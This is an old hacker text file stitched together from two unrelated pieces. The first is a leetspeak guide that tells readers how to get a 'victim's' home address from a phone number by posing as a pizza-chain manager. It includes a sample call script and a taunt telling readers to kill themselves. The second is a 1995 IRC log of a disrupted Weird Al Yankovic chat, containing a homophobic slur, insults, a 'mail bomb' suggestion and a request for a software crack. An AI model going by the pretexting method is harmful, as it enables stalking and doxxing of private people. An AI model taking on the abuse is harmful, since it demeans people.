g3t a pIzza d3liv3r3d th3y 0ft3n aSk f0r y0uR ph0n3 nUmb3r. T0 g3t th3
aDdr3ss a11 y0u g0tTa d0 Is ca11 up a pIzzA pLac3 thAt y0u b3li3ve t0 be n3ar
y0ur v1ct1m aNd aCt 1Ike y0uR ca11Ing fr0m 0n3 n3arbY. 1t w0uld g0 s0mthInG
l1k3 th1s....
PizzA l00s3r: Pizza hut d3liv3ry, wAnT t0 h3ar 0ur sp3ciaLs? [y3ah r1ght]
Y0u: ShUt th3 fUcK Up, thIs Is j0hN, th3 mAnAg3r 0f th3 p1zza hUt 0n 5th.
l00s3r: uh hUh, whAt cAn I d0 f0r y0u? [cUm rIgHt n0w bAby]
Y0u: W3 hav3 a lItt13 pr0bl3m wIth 0ur c0mput3r, cAn yo0 s33 If thIs nUmb3r
giV3s y0u an addr3ss?
l00s3r: Sur3, whats the numb3r?
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N0w hop3fu11y y0ur targ3t wi11 b3 in th3ir datTba3e, if n0t try an0th3r, 0r
ki11 y0urs3lf, 3tc....
Brought to you by the letters a, x, the number 2, and
-=HoD=-
.................Haxoring a site near you soon!........................
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Weird Al Yankovic was on IRC September 14th, 1995.
Bad Idea....
Session Start: Thu Sep 14 19:19:52 1995
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Hi, Nick. Very busy these days. Not to mention being
scared for days whether this could be worked out. Wont be
happy until Al arrives here safely .
*** Joins: Yankovic (cbarnes@ix-la18-25.ix.netcom.com)
No, I know Al when I see him!
Welcome, Yankovic!
Thanks, Carlotta!
*** Joins: loq
*** Altoids sets mode: -o+b loq
*** loq was kicked by Altoids (^B^B)
Thanks, Berm!
We've had a great time waiting for you -- the opening
act, so to speak.
Ohmigod. Forgot it was THE anniversary.
Goodbye loq-hole!
We're going for a worlds record of people in a channel.
Sorta like crowding in a phone booth if you can still find one.
Is there some kind of order for questions...?
Ok, who's gonna ask the man a question
The TV album, perhaps?
What about it, Carlotta?
Any update about it?
The TV album is scheduled for a November 9 release.
yankovi: are you gonna do any movies soon?
I just signed with a new agent, and just finished
writing a screenplay, so we'll see.
I can't say anything about the screenplay, except that
it bears little resemblance to "Schindler's List"
Thanks!
Calm down, "root".
Yeah, yeah, love you too.
Yankovic You are my god!
mine too!
Oh my.
Hey Al... how about a sequel to UHF. hehe
I'm a little busy tonight, but I'll try.
*** Parts: loq
I doubt I could get a major studio interested in a UHF
sequel, but it'd be fun!
Say, when are you coming to Pittsburgh?
I have relatively little control over where I tour -
you could contact a local concert promoter, I suppose.
Is there any hope of your making an appearance on the
new Jeff Foxworthy show, because of your work with him?
We'll see, Carlotta...
I have a working title for the new album, but it could
very well change based on what the first single is.
It's harder to come up with fresh ideas and not repeat
myself quite so much.
Doug - that's completely up to MTV. I'd sure like to.
HEY AL!!! YER A FUCKING FAGGOT WITH FUCKING MORONIC
HAIR!!!!
the AlCan tour?
Yes, there will be a polka on the next album.
Now I know what this "Ignore" button on Netcom is
for.....
*** Quits: Yankovic (Killed (benny2 (user requested)))
*** Quits: Carlotta (Ping timeout)
well, thanks you assholes
damn damn damn
!!!!!!!
Altoids: I guess IRC is too volatile for something
like this :(
I need my God back
stupid pricks
Please Bring Him Back to me!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!1
i wonder if we can mail bomb that jerk
NO MORE V'S
Hi, I got booted off. Is somebody else using
"Yankovic" now??
*** Altoids sets mode: +i
Okay, well, let's try again...
welcome back Al!
Thanks!
glad to see you again, Al...welcome to the
Internet...people can be real jerks here.
*** Quits: AYankovic (Killed (irc.uiuc.edu (*.sdsc.edu <-
azure.acsu.buffalo.edu[128.205.7.6](misgudid))))
Ah jeez
Mr. Yankovic, do you sometimes feel overwhelmed by
your popularity?
well it was pretty cool for about 10 minutes
now what
oh I thought he was collided again
or killed
he was
al?
he got kicked off I think
Is Al here yet??
is he going to come back?
sure
i hope he does... but would not blame him if he did
not
sigh...
well lets turn the moderation off
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NO
ok
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why so many ops
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I gotta leave in ten minutes.. any more burning
questions?
I like those guys, and Richard Blade asked me to do it.
Al: pitfall would like to know if you'd like to direct
feature films?
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AYankovic: would you say that "Let your dim light shine" or
"Grave Dancers Union" is a better cd?
anybody have the crack for Agent? =-]
I'm getting more into directing, and features is
something I'd definitely consider.
and which is your favorite songs?
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Mr. Yankovic, do you play DOOM???
So many questions... okay, I play doom. I don't have
the new Soul Asylum album yet. My favorite song is "Mama Get
The Hammer There's A Fly On The Baby's Head."
heh
The unreleased song will most likely be... "Pac-Man."
Al, YOU RULE!!!! Look for Detroit.wad...
*** john0 sets mode: +v Pitfall
*** john0 sets mode: +v loq
*** john0 sets mode: +o loq
this channel is so fucking stupid
Okay, I'll try!
My roommates and I play Doom a lot... how about a
deathmatch?? :)
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I can't get my modem to work for Doom... sorry!
Thanks John0 !!
*** john0 sets mode: +v Carlotta
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God bless you, Johno
Al!! What's your favorite food??
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car: no problem
isnt it nice we have a benevalent leader like me?
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It'll be a while before I star in another feature.
Unless you happen to own a major studio...
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AL: Did you hear about that naked accordian player in
Michigan who got arrested? That was in my hometown. Come up
here and do a show eith him, so I can finally see you live!
Sounds like he'd be a great opening act!
Al, I have a question, as I am the one moderating i hope
you can answer: Do you prefer Unix or Plan 9?
Don't know, Carlotta. Wait till the next real album
comes out, then maybe it's worth a shot.
just Dave
Dave rules
no one watches Leno anyway
-> *john0* who are you??????
yeah dave rules over leno
X:WHat is +v do besides and a + in front of yer name?
I'm trying not to write any more food songs.
REMEMBER EVERYONE
FEH OWNS WEIRD AL
he gets all the chix anyway
yes, tell it like it is FEH owned you tonight
THINK WE CAN GET A THANKS TO FEH ON THE ALBUM COVER OF THE
NEXT ALBUM AL?
Oh dear.
Maybe a FEH theme song
yeah AL, putting feh on the cover will keep us out of
yur dir
yea yea
this channel sux
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Sorry this didn't exactly work out, everybody... gotta
go in acouple minutes. Last questions?
AL: w0tz wrong? we ain't charging nothin
Sorry too, Al. Thanks for trying.
I still am peeved about it.
Al?
peeved?
Are you still here?
heh, better to be peeved then pee'd on
Thanks, Happy.
Aly: do you have any advice for aspiring song writers?
I totally agree with you and am willing to fight against it
strange song writers that is al :)
-> *gumbyx* do you know who juhno is
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this channel under new govt or somthin?
Al: I was just wondering if you could do a remake of the
"Asshole Song" by Dennis LEary?
Al: why dont you come back in a few days after this stuff
settles down again
AY: next time, just let us arrange your visit, and things
will run smoothly, dont let amateurs try and do it in the
future
Thanks! Let's try again some other time. Lunch...
Thursday! Bye!!!!
stx: new and improved :)
Al, again I do hope you'll be brave enough to try again.
-> *john0* fuck you asshole
X: YES THE ASSHOLE SONG!
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john0:neatorama
Carlotta: are you really a phat piggy?
OK THATS IT
AAAAAAAAAAAAAAAAAAAAAAAGH.
sniff
EVERYONE OUT
SHOWS OVER
Al, come back baby
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